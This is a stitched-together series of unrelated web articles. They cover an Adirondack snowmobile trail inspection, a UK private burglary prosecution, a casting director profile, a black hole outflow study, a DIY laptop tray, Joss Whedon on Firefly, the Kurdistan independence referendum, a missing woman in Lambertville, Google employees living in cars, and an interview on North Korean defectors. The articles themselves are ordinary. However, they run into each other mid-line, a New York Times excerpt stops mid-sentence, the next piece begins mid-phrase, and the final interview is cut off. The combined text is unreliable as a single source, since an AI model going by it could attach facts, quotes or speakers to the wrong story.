For those readers unfamiliar with the Adirondack Park State Land Master Plan, snowmobiles on designated snowmobile trails only are permitted to lie within Forest Preserve classified as Wild Forest, or Intensive Use. Snowmobiling is not permitted in those parts of our Forest Preserve classified Wilderness, Primitive or Canoe. The Master Plan places strict limitations on motorized uses anywhere in the Forest Preserve, and limits the total mileage of snowmobile trails within Wild Forest areas. In the Moose River Plains UMP, there were a total of over 91 miles of trail or road open to snowmobiling as of the adoption of the State Land Master Plan in 1972. DEC in 2011 proposed to close 45 miles of dead-end, or little used snowmobile routes following completion of the new 13-mile connector trail, resulting in a net decrease of approximately 33 miles of trails or roads open for snowmobiling in this unit.
What is a community connector snowmobile trail? DEC and APA’s “Management Guidance for Snowmobile Trail Siting, Construction and Maintenance on Forest Preserve in the Adirondack Park, approved by APA and DEC in 2009, defines them as : “snowmobile trails…that serve to connect communities and provide the main travel routes for snowmobiles within a unit…These trails are located in the periphery of Wild Forest…they are always located as close as possible to motorized travel corridors…and only rarely are any segments located further than one mile away from the nearest of these corridors. They are not duplicated or paralleled by other snowmobile trails.” According to the Guidance, these trails can be cut and maintained to nine feet total cleared width (12 feet on steep slopes and sharp curves), and can be maintained by a tracked groomer no wider than 8.5 feet.
This question of use of tracked groomers such as SnoCats, is particularly controversial, as we maintain, as do many others, that such use of a another type of motor vehicle on a snowmobile trail violates the express provisions and limitations of the Adirondack Park State Land Master Plan. That is a subject for another day.
The day for our October field visit was clear, conditions warm. On our way to Inlet, we spoke briefly with a DEC employee building the trail’s bridges who gave us helpful directions to access the trail work, then drove to Inlet’s end of the Moose River Plains Rd (aka, Limekiln-Cedar River Road) and started walking east. We walked 5.1 miles to Route 28 across from the DEC Seventh Lake Boat Launch. We documented the straight trail runs, measured trail widths, counted cut trees, and documented with photographs and notes.
We were impressed with, among other things, the sheer scope and difficulty of the project, which continues east through the Forest Preserve from Seventh Lake Boat Launch parallel to Rt. 28 and Eighth Lake, and eventually will reach the end of Sagamore Road across from Raquette Lake Village, a total distance of about 12 miles. We only observed the western 5.1 mile leg, including number of straight trail runs, probably the result of the old roadbed on which parts of the trail are being built, but which appear to violate the Trail Guidance which states “to the greatest extent possible, trails will not be aligned with long straight sections.” The trail was also quite wet in places, although the unit management plan’s alternate trail locations would probably intercept actual wetlands, which this trail does not. The Trail Guidance states “all trails will be constructed so as not to intercept groundwater (again, here come those weasel words) to the greatest extent possible; natural drainage patterns will be maintained.”
Speaking of drainage, we stopped for lunch at a beautiful and tranquil wetland and pond just off the trail, and thought about the anticipated hundreds of snowmobiles that would someday buzz past this spot each day, assuming a decent snowpack. Hopefully they may choose to turn off their engines for a while to enjoy the peace and solitude we experienced.
Mostly, we found the trail was cut to the designated nine foot clear width, with some obvious exceptions where it was wider. Doubtless, there were some errors made. Doubtless, the original road was wider than nine feet in places. But the Guidance also presents severe practical difficulties for a trail crew. For example, the Guidance allows a connector trail to be kept clear up to a dozen feet above the trail surface, resulting in the cutting of those trees growing outside the nine feet clear width but which hung over the trail within the 12-foot clear height.
We counted cut trees three inches or larger, about 650, but perhaps we missed as many as a hundred or so. The total number of trees cut for the entire trail may exceed 2000. While this degree of tree-cutting within the Forest Preserve concerns us, of course, of even greater concern is the potential for illegal use of this trail by all-terrain vehicles during the warmer months, or even during a relatively snowless winter like last year. ATVs are not permitted on any trails within the Forest Preserve, yet we have observed them (or the evidence, meaning the rutted, ponded, ruined trails that result from their use) on certain snowmobile trails for many years. DEC law enforcement – Forest Rangers and Environmental Conservation Officers – are constantly trying to reduce this illegal use, but time and time again it has taken documentary evidence from watchdogs to bring enforcement action, and to sustain such action over time diverts the officers from many other duties.
Speaking of other duties, staff at the NYS DEC is at its lowest point in 20 years. The staff of DEC’s Division of Lands and Forests which oversees the Forest Preserve and this trail project has shrunk by over 25% statewide since 1995. In Region 5, the eastern two-thirds of the Adirondack Park, there are only 4 Full-Time Equivalent positions left assigned exclusively to the Forest Preserve. APA has only three personnel assigned full-time to State Lands and oversight of the State Land Master Plan. The DEC Forest Ranger force has over 20 unfilled vacancies around the state. This trail project alone has required bringing DEC staff resources from all over. In a state of such shrunken state conservation personnel, with over 3 million acres of Forest Preserve and Conservation Easement lands to manage, there are legitimate questions about how high a priority any one new trail construction project, be it for snowmobiling or hiking, should rank.
Then, we also think about the day, and not in the distant future either, when political and economic forces, along with more relatively snowless winters will combine as pressure to legalize ATVs on trails such as this new snowmobile connector. That is a truly scary prospect, one which is completely indefensible and intolerable within the meaning of the “Forever Kept as Wild Forest Lands” stricture of Article 14 of the NYS Constitution. To date, the failure of most Forest Preserve Unit Management Plans to take climate change and future winter conditions into account has resulted in a lack of dialogue and anticipation of the fate of 9-foot community connector snowmobile trails.
For now, most snowmobilers have a vested interest in helping Forest Preserve advocates like ourselves to prevent ATV damage to their trail systems, but that may not always be the case. Technology is advancing rapidly, marketing a new class of powerful off-road, even off-trail vehicles. Our job is to ensure that in our grandchildren’s time and beyond that human recreational appetites and attraction to four-season mechanized speed and adventure will never outpace our determination to uphold Article 14 of the NYS Constitution and protect the Forest Preserve for its wilderness values.
The building of this trail has brought all these pressure points into sharp relief. As the trail neared State Route 28, we saw a small bobcat tracked excavator in use along a muddied section of raw trail, and a brand new, 12-foot bridge with timbers requiring resources, machinery and expertise to put in place. We measured, photographed and moved on to enjoy a meal in Raquette Lake village. In our hearts is a determination to stand up for wild lands, whatever their classification, and to expect the highest standards of wild lands management within the world-class Adirondack Park.
However, in our minds are these words from former DEC Commissioner Pete Grannis – candor which helped get him fired from his job just two years ago: “Many of our programs are hanging by a thread,” Grannis wrote in a now famous internal memorandum. “The public would be shocked to learn how thin we are in many areas.”
Photos: Above, 12-foot wide bridge timbers in place for the new snowmobile trail; middle, Bobcat tracked excavator used to construct the trail near the Seventh Lake Boat Launch; below, a section of new 9-foot wide snowmobile trail near Inlet.Dale Vince, the head of the green energy firm Ecotricity, claims Richard Cole conspired with two youths to burgle his home on Rodborough Common, Glos. The youngsters admitted their part in the burglary after being caught riding a quad bike belonging to Mr Vince.
They told police that Mr Cole took them to the house and advised them how to avoid security lights, a court was told. But the Crown Prosecution Service decided not to bring charges against Mr Cole, of Bristol, while police only cautioned the youths for their part.
Now lawyers acting for Mr Vince have charged Mr Cole with conspiring with the two youths. A second charge alleges he received two crash helmets owned by Mr Vince, the chairman of Forest Green Football Club.
Mr Cole appeared before Gloucester Crown Court on Friday to face the charges. He was told to return for a plea and case management hearing on March 14 followed by a trial on May 27. Judge Jamie Tabor QC said he found it difficult to understand the CPS decision not to prosecute.
“Mr Vince has been put in the position of having to undertake the prosecution with his own money,” Mr Shepherd said. “He will do that and take it to trial. It may well be that the CPS are invited to adopt this case again but, if they do not, it will still be prosecuted in one way or another.”
Richard Shepherd, prosecuting, told the court that after the CPS decided not to prosecute Mr Cole they were asked by Mr Vince’s legal team to reconsider but again declined. “The two youths who are named in the conspiracy charge with Mr Cole have both accepted warnings for their parts in the burglary,” he said. “When they were first interviewed they denied any involvement. They gave an innocent explanation of finding a quad bike on the Common. It was nonsense.
“However, under pressure from his mother one of the youths went to the police and admitted his part. The other boy then also admitted his part.
“The Crown Prosecution Service has taken the view that there is insufficient evidence to prosecute Mr Cole and that there is an inconsistency — even though the youths have provided witness statements describing Mr Cole’s involvement in the burglary. They say he incited and directed it, took them to the property and told them where the security lights were so they were able to avoid those.
“Furthermore, we allege he asked them to return to the property to steal a particular item he wanted.”
Matthew Harbinson, defending, said: “It is an unusual case. The jury will have to be satisfied so they are sure on the evidence of two young men who committed the burglary that there was someone else with them.” Judge Tabor granted Mr Cole bail pending trial.From the NYT:
Affordable Housing Draws Middle Class to Inland Cities
By SHAILA DEWAN AUG. 3, 2014 OKLAHOMA CITY — Americans have never hesitated to pack up the U-Haul in search of the big time, a better job or just warmer weather. But these days, domestic migrants are increasingly driven by the quest for cheaper housing. The country’s fastest-growing cities are now those where housing is more affordable than |
Illinois University-Edwardsville, where she earned her bachelor’s degree in theater.
Barylski began her master’s at ISU in 1971, supported by a graduate assistantship in theater management she’s still grateful for today. Barylski had acted as a kid, but switched her concentration from acting to directing soon after arriving in Normal. The 1970s were something of a “golden age” for the ISU theater program, said Barylski, who relished working alongside students who would go on to do big things, including actors Judith Ivey ’73, Rondi Reed ’77, and Terry Kinney ’76, among others.
“You had to raise your game to compete, to stay afloat,” Barylski said.
After finishing her master’s, Barylski ran the Braden Auditorium box office for a year before a theater stint in Michigan. She then traveled west for a three-year stretch at California State University-Long Beach teaching acting, directing, and theater, before finding that academia wasn’t where she wanted to be forever.
Her break into casting came after getting an entry-level job in the Mary Tyler Moore production company.
“Casting was the best fit for me,” she said. “I knew actors. I knew how to talk to actors. I had acted, I had directed actors. And I have a really great memory, which helps, and a good business sense.”
Major career Development
The Los Angeles-based Barylski, like many casting directors, mostly works as a freelance contractor after being hired onto a specific TV show in development. Sometimes she’s building a cast around a star already attached to the show, like she did with Tim Allen on Home Improvement.
But Barylski built the Arrested Development cast from scratch. When she first got her hands on the pilot script, which sets the stage for the wealthy Bluth family’s unraveling, she was captivated—and a little confused.
“You have to be very attentive, because the writing was so complex and the script so densely plotted,” Barylski said. “But then I read it out loud, and that’s when it started clicking for me.”
Here’s how she describes the casting of three of the series regulars:
Tony Hale as Buster Bluth: She’d seen him on tape before his in-person audition and knew he was the right guy. “He was so authentically different, in that he had taken on the character that was so out there but made him so grounded in his own reality.”
Jessica Walter as Lucille Bluth: Barylski cast Walter in a previous show and knew she could pull off the caustic Bluth matriarch while still making it funny. “Some of the things she says are so horrible and off-putting, but Jessica has this way of saying those things, and you might say, ‘Why is she saying that crap?’ But you don’t hate her for it.”
Will Arnett as Gob Bluth: One of the tougher roles to cast, as Barylski struggled to find an actor with both the flamboyance of a magician and the gravitas to play the intense Gob. When Arnett’s schedule opened up miraculously, Barylski pounced. He flew to LA for his first meeting with producers just one day before the show’s first cast script “table reading.”
The best part: Barylski cast the entire show in only three weeks.
“I couldn’t have cast it better if I had had a year,” she said. “I knew I was going to win the Emmy. It was my best work.”
Barylski also tries to stay involved with theater whenever possible. She’s directed in theaters in Michigan, Illinois, California, and Alaska, but these days sticks to mostly one-acts because of her schedule.
Barylski remains an active Illinois State alumna. The College of Fine Arts Hall of Famer delivered a Commencement address to CFA graduates in 2009, and she serves on the CFA advisory board. And last year, Barylski returned to the Illinois State campus to teach “cold reading” (no preparation) acting classes and a seminar about preparing for a professional acting career.
Next up for Barylski is a sketch show she cast for Nickelodeon called Back of the Class, and a half-hour comedy series starring George Lopez on FX, both expected to premiere in the fall.
And does she plan to watch Season 4 of Arrested Development?
“Of course,” she said. “That’s my family.”
Ryan Denham can be reached at [email protected] PARK, Md. – Many galaxies blast outward from their centers huge, wide-angled flows of material — pushing to their outer edges enough dust and gas each year to otherwise have formed more than a thousand stars the size of our sun. Astronomers have sought the driving force behind these massive molecular outflows, and now a team led by University of Maryland scientists has found an answer.
A new study in the journal Nature, published March 26, 2015, provides the first observational evidence that a supermassive black hole at the center of a large galaxy can power these huge molecular outflows from deep inside the galaxy’s core. These outflows remove massive quantities of star-making gas, thus influencing the size, shape and overall fate of the host galaxy.
The galaxy highlighted in the study, known as IRAS F11119+3257, has an actively growing supermassive black hole at its center. This means that, unlike the large black hole at the center of our own Milky Way galaxy, this black hole is actively consuming large amounts of gas. As material enters the black hole, it creates friction, which in turn gives off electromagnetic radiation—including X-rays and visible light.
Black holes that fit this description are called active galactic nuclei (AGN), and their intense radiation output also generates powerful winds that force material away from the galactic center. The study found that these AGN winds are powerful enough to drive the large molecular outflows that reach to the edges of the galaxy’s borders.
Although theorists have suspected a connection between AGN winds and molecular outflows, the current study is the first to confirm the connection with observational evidence.
“This is the first galaxy in which we can see both the wind from the active galactic nucleus and the large-scale outflow of molecular gas at the same time,” said lead author Francesco Tombesi, an assistant research scientist in UMD’s astronomy department who has a joint appointment at NASA’s Goddard Space Flight Center via the Center for Research and Exploration in Space Science and Technology.
The team analyzed data collected in 2013 by Suzaku, an X-ray satellite operated by the Japan Aerospace Exploration Agency (JAXA) and NASA, as well as data from the European Space Agency’s Herschel Space Observatory. While many previous studies independently described AGN winds and molecular outflows in separate galaxies, Tombesi and his colleagues needed to find a galaxy in which they could see both at the same time. IRAS F11119+3257 turned out to be a perfect candidate.
An alternate theory says that active star formation near the galactic center could drive molecular outflows. However, the brightness of IRAS F11119+3257’s active nucleus—which is responsible for about 80 percent of the galaxy’s overall radiation—suggested otherwise. Star formation alone cannot explain this intense concentration of energy, leading the researchers to conclude that the AGN winds must be the primary driver.
“The temptation is to ignore the supermassive black hole when studying galactic dynamics and evolution, but our study shows that you can’t because it influences galaxies on the larger scale,” said Marcio Meléndez, a research associate in UMD’s astronomy department and a co-author of the study.
Limited satellite time means that, at least for now, the team has only this one galaxy as a baseline for study. But now that they have a better idea what they are looking for, they will be able to find more candidate galaxies in the future. Within the next year, JAXA and NASA will launch ASTRO-H, a successor satellite to Suzaku. The instruments aboard ASTRO-H will make it possible to study more galaxies like IRAS F11119+3257 in greater detail.
“These are not like normal spiral or elliptical galaxies. They’re like train wrecks,” said Sylvain Veilleux, a professor of astronomy at UMD and a fellow at the Joint Space-Science Institute (JSI) who is also a co-author of the study. “Two galaxies collided with each other, and it’s now a single object. This train wreck provided all the material to feed the supermassive black hole that is now driving the huge galactic-scale outflow.”
In addition to Tombesi, Meléndez and Veilleux, study authors included UMD astronomy professor and JSI fellow Chris Reynolds; James Reeves of Keele University in the United Kingdom; and Eduardo González-Alfonso of the Universidad de Alcalá in Spain.I was looking for a laptop tray for use while shooting tethered, and was having trouble finding one that didn’t seem overpriced. The least expensive one I could find was this one from Kupo, which at $75 isn’t that cheap, especially considering it’s not adjustable (unless used with a ball head on a tripod; neither included). Others, from Benro, Matthews, and Foba, ranged from $119 to a whopping $469. I don’t mind paying for high quality, well-built gear, but I don’t know why a simple metal plate has to cost over $100.
FStoppers has plans for a DIY laptop platform for $30, but it requires a bit more work, and is less than elegant, involving nuts and bolts and a slab of wood.
It occurred to me that a music stand might work, and those can be had for less than $50. After I began looking at music gear, I stumbled on this: a $15 laptop tray (MSA-5000 by On-Stage) with socket fit for a microphone stand. Add a $4 adapter (3/8″ female to 5/8″ male) to it, and the platform will attach to light stands, tripods, and other photo gear. If you want to really splurge, for $15 to $30 you can get an umbrella adapter, which will make the tray tilt-adjustable.
If you’re shooting outside in bright sun, you can use the $5 Dröna box from Ikea as a laptop shade (it’s 15″ wide; my 15″ Macbook fits snugly). That’s what I use, with slight modifications: I cut a slot in the side for my USB cable to reach my Macbook’s USB port, and I also cut two slots in the bottom of the box that laptop tray’s tabs fit into. Thanks to DIY Photography for that idea.
So $19 for basic laptop tray to fit a light stand or tripod; another $20 to $40 for adjustable grip and shade.
Parts
On-Stage MSA5000 Laptop Mount (shown in photo at top of page; $14.95)
3/8″ Female To 5/8″ Male Threaded Screw Adapter (above photo, bottom left; $4.95)
Umbrella adapter with 3/8″ stud ($13 – $33; I’d recommend a high quality model like Manfrotto 026 for the most secure setup. Be sure the umbrella adapter you get has a 3/8″ stud; the kind with a flash shoe won’t work with the laptop platform.)
Light stand or tripod (if you have a tripod with heavy duty ball head, you don’t need the umbrella adapter).
Warning: Be sure the tray is mounted securely to tripod or stand before adding laptop. You might want to use a strap or something similar for safety, to be sure the laptop doesn’t slip off.Speaking to the Tornoto Sun, the director stated that he'll never let hopes of a Firefly resurrection die. "I'll never really accept it," Whedon said. "And I always, in the back of my head, think, 'What if I could get the old gang back together?'"
"Well, you know, it's something I would love to do," Whedon said in regards to getting the Firefly cast back together. "When I made Serenity, I said here's one thing I'll never do again -- a movie based on something that some people know about and some people don't, with tons of characters who all know each other and who you have to introduce. And then my second movie was The Avengers."
"Part of me is like, 'God, it would be great when I finish Avengers 2 to do that,' " Whedon said in regards to revisiting the Firefly universe. I think most people would prefer that Whedon stuck around the MCU beyond Avengers 2, maybe for life in a quasi-George Lucas capacity. Barring an unlikely disaster with the second cinematic outing for Earth's Mightiest Heroes, I'm inclined to believe that Marvel feels the same way. But maybe Whedon will just need a little break after all the superhero theatrics and will look to something else, and maybe it will be a certain renegade spaceship crew.
"I suspect very strongly that after Avengers 2 the next thing I do will be a one-man show. Possibly one monkey."ERBIL, Kurdistan Region (Kurdistan 24) – The Prime Minister of Iraq, Haider al-Abadi, on Tuesday stated that he would not compromise on Iraq’s unity and sovereignty, calling for control over the Kurdistan Region to be handed over.
On Monday, the semi-autonomous Kurdistan Region held a landmark referendum on independence, a move opposed by Baghdad, neighboring countries, and the international community.
In a series of tweets, the Iraqi PM expressed his strong opposition to the referendum, threatening he would take measures against it.
“We will not compromise on Iraq’s unity or sovereignty. Iraq is strong. Some wanted to weaken it. They have miscalculated,” Abadi tweeted on his official account on Tuesday.
“We have taken measures to impose federal authority according to the Iraqi constitution,” he stated in another tweet.
Kurdish officials have accused Baghdad of violating 55 articles of the Iraqi constitution and treating the people of the Kurdistan Region as second-class citizens. In response, they declared they would follow the path toward independence after failing to reach a true partnership with Baghdad.
In another tweet, Abadi called on the KRG to hand over oil revenue, airports, and border-crossings to Baghdad.
“Oil revenues in Iraqi Kurdistan must be returned to the control of the federal authorities,” he added. “All land & air border-crossings in Iraqi Kurdistan must be returned to federal jurisdiction within [three] days.”
He went further and noted that Baghdad would suspend all international flights in the Kurdistan Region.
“Iraq will suspend international flights to [and] from the Kurdistan region if this order is not implemented,” Iraqi Premier added.
“We will protect the rights of all Iraqis including our Kurdish citizens; we will not punish them for the mistakes of regional officials,” Abadi tweeted.
In a victory speech on Tuesday, President of the Kurdistan Region Masoud Barzani urged Baghdad and neighboring countries to engage in peaceful dialogue and negotiations to resolve regional issues.
“I ask Iraqi Prime Minister Haider al-Abadi and anyone who believes in peace and dialogue to start serious negotiations,” Barzani said.
He mentioned that the vote was not a crime but was a peaceful and democratic process enshrined in every international charter.
Barzani added threats of punishment from Iraq would not be harder to handle than the genocide committed in the past against the people of the Kurdistan Region.
The Kurdish President has repeatedly criticized Baghdad, asserting it has a “sectarian and theocratic” government which “does not believe in equal partnership, but rather passes all resolutions by imposing them” on the Parliament.
An independent state of Kurdistan has been the long-awaited aspiration of over 40 million stateless Kurds around the world.
Editing by G.H. Renaud7 Gallery: Lambertville surveillance camera captures images of missing woman Sarah Majoras
LAMBERTVILLE – Police have recovered a body that appears to be missing Lambertville bartender Sarah Majoras from the Delaware & Raritan Canal this evening, officials announced.
Hunterdon County Prosecutor Anthony Kearns said the body found at approximately 5 p.m. today has not yet been positively identified as Majoras, but matches her description.
Majoras, 39, was last seen crossing the Lambertville-New Hope bridge at approximately 2:15 a.m. Saturday, officials said. Majoras was seen on surveillance video walking alone off the bridge and making a left onto Lambert Lane to walk parallel to the Delaware & Raritan Canal.
Kearns said that there does not appear to be any indication of foul play involved with Majoras’ disappearance.
“We will try to seek answers as to what occurred early in the morning on Saturday the 26th,” Kearns said at a press conference this evening.
Majoras spent Friday night and early Saturday in New Hope at John & Peter’s, the bar where she works. She was not on-duty at the time.
Majoras’ boyfriend reported her missing with a phone call to police at 2 p.m. Saturday.
Authorities described Majoras as 5-foot-4, 140 pounds, with blue eyes and blond hair. She was last seen wearing blue jeans, brown leather boots, a white cap, and a camouflage jacket.
The "Find Sarah Majoras" Facebook page posted the news of the body's discovery this evening:
"There is no way to word this that makes this statement less painful. A female body was found tonight by rescue crews in the Canal in Lambertville that does match the description of Sarah. It's excruciatingly hard to say that the search for Sarah might be over but we can not abandon the family that we have created over the past 4 days and for most - over the past 16 years. This community is testament alone to the overwhelming Love that we had for Sarah, the same Love that she showed all of us day in and day out. We ask that you reflect and grieve and reach out for support if you need it. Please reserve any rhetoric outside of those lines and instead convert that energy into a positive force and send it to her family and closest friends. As involved as we feel - it is unimaginable how they feel. Thank you everyone for everything - we did this together - Stay Strong for Sarah. Rest in Piece kind soul."
More than1,100 messages expressing condolences and sympathy for her family and friends quickly followed that note. The Facebook page has more than 12,000 followers.
Additional coverage from The Hunterdon County Democrat:
• Body of woman found in Lambertville canal could be Sarah Majoras
• Search for missing Lambertville woman Sarah Majoras continues, broadens
• Surveillance images show missing Lambertville woman
• Search continues in Lambertville canal for missing bartender; community 'heartbroken'
Follow @TimesofTrentonGoogle may encourage its workers to stay on duty for extended periods by offering three meals a day in the cafeteria, a gym, and plenty of play spaces. But rising rents in Silicon Valley and the Bay Area at large have meant that even some Google employees have found themselves priced out, and a few have tried just moving on campus full time.
The BBC just reported on the phenomenon, gathering accounts from three current and former employees (all male) who have lived out of vehicles in Google's parking lots for extended periods and otherwise taken advantage of all the creature comforts on the Mountain View campus. As they report, "the company does not encourage living at work, but it is not something it actively polices against."
It's funny and sensational, of course, because it proves that Googlers broadly assumed to be part of a "tech elite" but, obviously, not all paid equally generously struggle with rent just like the rest of us. And maybe working there isn't as awesome as most people assume. Also, maybe building a campus where you never have to leave kind of destroys the notion of life-work balance, but I digress.
The earliest example, drawn from this Quora forum, was a guy named Matthew Weaver, a "staff site ecologist" from 2005 to 2006, who said he "did it on a dare." He parked a camper in the parking lot with a little astroturf yard in front of it and lived there for a year, eating meals in the cafeteria, doing his laundry in company-provided washing machines, showering at the gym, etc.
There's also a guy who lived out of his Volvo station wagon, with blackout curtains and a twin mattress, for three months in 2012 in an underground parking garage on campus.
And there's the case of Ben Discoe, who says he lived out of a van in one of the parking lots for 60 weeks between 2011 and 2012, spending some nights here and there with a girlfriend who lived in Mountain View. Discoe says, "The only thing they don't give you was shampoo," and he adds, regarding what he did if he had to get up to pee in the middle of the night, "The answer is pretty simple, just walk the short distance to the nearest Google building and badge in."
As for the famed sleeping pods, he says, "they were kind of mocked," and he didn't really use them.
[Quora via BBC]
[SF Business Times]
Previously: Working For Google Not All That Awesome, Say GooglersA unified Korean Peninsula is something we
all dream about. But what do the experts think that process will look like?
It’s time for “Unification Table Talk” where we interview experts in
this field.
Since Kim Jong Un rose to power, border
regions have been buttoned up and escape routes have been blocked off as part
of a crackdown effort that has halved the number of defectors who are able to
reach South Korea compared to years past. Although this is a dramatic
reduction, some defectors do still manage to slip through the net in order to
start their new lives here in South Korea. At the present moment, there are
nearly 30 thousand such defectors in South Korea.
On this edition of “Unification Table Talk,”
we sit down with Hanawon Director Kim Jung Tae to discuss what defectors do in
order to acclimate to their new surroundings and what the government is doing
to help ease the transition. Hanawon is an agency dedicated to assisting
defectors adjust to their new lives in South Korea. It is funded and organized
by the Ministry of Unification.
1. Right now how many defectors are living
in South Korea?
There are approximately 28 thousand people
from North Korea living here right now.
2. What kind of trends do we see these days
in terms of defectors entering South Korea?
In the 1990s, about one thousand people
came per year. That doubled in the 2000s when about 1,500-2,000 people came per
year. It jumped again in 2009 to its highest figure at 2,914. After that it
started to come down again to about 1,500/year. Last year we saw about 1,396
people enter the country.
2-1. The graph looks like it’s revealing a
downwards curve….
That’s right. This year in the last three
months, only about 300 people have come in.
2-2. Why do you think so many defectors
were able to escape in 2009?
At that time there were a few instances of
government level officials sneaking out and taking a large amount of people
with them. That ended up being the most we’d ever gotten.
3. Once the defectors come to South Korea,
what kind of processes are in place to help them settle here in South Korean
society?
In some cases, there are planned entrances,
in which case the government will be duly informed. But in most instances, the
defectors volunteer themselves to the North Korean Defector Resident Protection
Services Center at the National Intelligence Service. At that facility, the
residents are interviewed and researched for approximately one month. After
that point, they are sent to the Hanawon facility, where they get three months
of training in basic adaptation techniques. Then they are assigned to rented apartments
in different regions throughout the city. Once they move into their new
apartments, we show them our local assistance center. That’s where they will
continue to get detailed advice about making their new lives.
4. I think we can all agree just how
important it is that these defectors get settled and adapted to life here in
South Korea. In your experience, what is the most difficult element of that
transition for them?
They have a lot of struggles, honestly. To
express their feelings on the matter, there’s an expression. It goes, “In North
Korea, we starve. In 3rd countries, we don’t know the language.
When we come to South Korea, we don’t know how to live.” As the director of
Hanawon, I can certainly understand what they mean by this. It has been 70
years since our country has been divided. That means three or four generations
of living apart from one another.
Now, we’re still the same people, still cut
from the same cloth, so we look the same and can understand each other to a
degree, but we’ve grown up in totally different sociopolitical circumstances.
If you look at it from a cultural perspective, South Korea is like a totally
different country to defectors. I think that’s the most accurate way to sum up
their view on things.
4-1. So even though we share the same
language, there are still cultural differences which present challenges for the
defectors. I’ve also heard some people say that South Koreans tend to use a lot
of English loan words, and that adapting to South Korean dialects can be
tricky.
Through the process of becoming exposed to
the globalized world, South Korea has started using an abundant amount of
foreign words and concepts with a high frequency. There’s also a slight
prejudice against those who speak pure Korean without dropping in these trendy
words and ideas from other cultures.
For example, instead of “chae-so,”
North Koreans say “nam-sae” for vegetable, and instead of “Ga-gae,” North
Koreans say “sang-jeom” for store. So then they come here anticipating that
they’ve finally come to a place outside North Korea where they can express
themselves comfortably, and they are confronted with a really different
dialect, pickled with alien words and phrases. The ensuing attempt to
understand and be understood can be quite stressful for them.
5. It must be difficult to adjust to life
here. Just to review, Hanawon is an agency dedicated to assisting defectors
adjust to their new lives in South Korea. It is funded and organized by the
Ministry of Unification. What kind of education and support does Hanawon give
to the defectors?
Defectors start their new lives with us at
Hanawon. It’s no exaggeration to say that. In truth, the defectors have
successfully made it to the South in body, but in spirit they’re still
struggling in terms of reconciling their values, emotions, and cultural
expectations with the new surroundings they suddenly find themselves in.
Until they overcome these struggles, they haven’t completely escaped.
At Hanawon, it’s our responsibility to
understand this, and bearing it in mind, train them with the best coping
mechanisms we can find. In just about 400 hours, we have to give them an
understanding of South Korean society, and since many of them are going to
start working life shortly after release from Hanawon, we have to give them
career guidance about working life expectations and job hunting as well. That’s
why we devote about ¾ of our time together to those sorts of issues. In the
remaining time, we discuss emotional stability, health maintenance, and
cultural differences.
6. Do men, women, and children receive
different training?
First of all, we send women who come with
their families to a dedicated facility in Anseong. They get their education
together over there. We send the men to Hwacheon Hanawon. We specialize the
programs to our trainees. We try to match up the program’s characteristics to
the needs of their specific population. Elementary school kids go to the nearby
Samjuk Elementary School for their education. The middle school kids are
educated separately in separate school called the HanaDuel School inside the
Hanawon complex. They start out there getting their most basic education and
then when their placement gets settled, they can move out to one of many different
regions.
7. What kind of policies does the South
Korean government have in terms of supporting and assisting the defectors? When
they first arrive, I imagine they’d need some financial support. What kind of
fiscal policies are in place to support that?
When they first come here, we really try to
educate them in means for self reliance. We think that’s the best way to get
settled and adjusted. So the first thing they need to do when they come here is
find a job. So we have a job placement program. We also have job training, and
once they do find themselves employed we also offer employment bonuses. We also
try to recognize and consider what sort of skills and work experiences the
defectors have had in North Korea and 3rd countries. Then we try to land them
an opportunity in that field. And because we recognize that acclimating to the
South Korean work style can be difficult, the government is extending the work
protection duration from two years to three.
During this work protection time, the government
offers support, assistance, and legal protections to the workers. We also know
that getting started here can be an expensive prospect, so we have created
something called the “Future Happiness Fund.” It’s a government supported
savings plan. The government matches the donations of the defector, so inside
five years it’s possible to save up about KRW 50 million won (USD ~45,000).
That fund is now being installed for the long term benefit of defectors.
7-1. I can see how that could significantly
improve their ability to adapt. I think a lot of our listeners in North Korea
will be curious about the housing situation. Can you speak a bit about that?
We have leased apartments available for the
residents in different regions all over. This is extremely helpful for the
defectors, but it also places some limitations. Unfortunately we can’t provide
housing in the far out and rural regions such as Sanchon. So they tend to
settle down in areas with concentrated apartment complexes. The application
process in place for securing these apartments is a bit different from the way
that most South Koreans procure a house. We use this advantage to try to ensure
that our defectors have a place to call home as soon as they leave Hanawon.
8. Every defector has different financial
capabilities and resources, different social experiences, and different levels
of adaptation ability. On that basis, there are some who argue that the support
policies in place should customize to each individual. Would that kind of
policy be possible in your opinion?
I’m not so sure. Considering we are now
nearing 30 thousand defectors living here in South Korea, individualized
support services would be an awfully difficult agenda to put into action. As I
said before, we do customize our support services by gender and age, including
school level. In terms of individualized support, there are volunteers at each
regional Hana support center who work one on one with the defectors and fulfill
that role.
8-1. I imagine that the psychological
adaptation must be difficult and time consuming. Are there any specific support
services aimed at easing the transition?
We run an emotional support program to help
the defectors while they are at the Hanawon intake facility. Once they leave,
we have a mentoring system that is administered through the Hana regional
offices. This way, they always have someone close by to give advice and lend an
ear. They help the defectors overcome some of the emotional and psychological
difficulties through a long term personal relationship.
9. However, as you know, some defectors
have actually elected to live in a 3rd country after coming and spending some
time in Korea. What do you think prevented them from being able to successfully
adapt to South Korean society?
There are myriad different stories and
explanations for one defectors choose to leave after arriving in South Korea,
but the majority of these cases have to do with misunderstandings that arise
from cultural differences. In North Korea, they had no experience at all with
the concept of freedom. Some think that freedom simply means the ability to do
as they please. This can lead to some impetuous behavior that ends up causing
difficulties. So these particular individuals feel a sense of disappointment
when they realize that freedom does not mean that you can do whatever you want
whenever you want.
They end up leaving because they suspect it
might be better someplace else. Over half of them return after realizing that
that really isn’t the case. Looking back at these cases, I think there is a
demonstrated need to establish some preventative measures to clear up these
kind of confusions before they even happen.
10. Yes, it does seem like there should be
a plan in plan along those lines. What kind of policies does the government
have in place to help the defectors who have trouble adapting?
As I said, I think that those preventative
measures need to be built into the education process at Hanawon. When the
defectors choose to leave South Korea, they lose all of the benefits that they
had been enjoying. Some of them don’t realize this, so I think that they should
be warned about that as well during their education at Hanawon. When I give
lectures at Hanawon about settlement procedures and advice, I’m sure to give
them specific examples about what the consequences are for those who elect to
leave. It really isn’t a very attractive alternative. So even if the temptation
arises it’s best to stick it out.
11. I wonder what your evaluation is of
South Korea’s defector support policies.
First off, considering I’m an involved
party and a beneficiary of these laws, I think there are definitely some
limitations to how objectively I’m able to evaluate the policies in question. I
think that these policies have a profound impact on the way that the defectors
settle and on their ability to adapt to their new lives here.
I have been doing a lot of thinking about
what obstacles prevent defectors from adjusting to South Korean working life. I
think it is related to the way that South Koreans and defectors think about one
another. I wrote my doctoral thesis on this topic in 2014. I came out of that
writing process thinking that cash contributions aimed at helping defectors
resettle are not entirely positive things. I think that the cash contributions
avoid the heart of the problem and reflect the prejudices that South Koreans
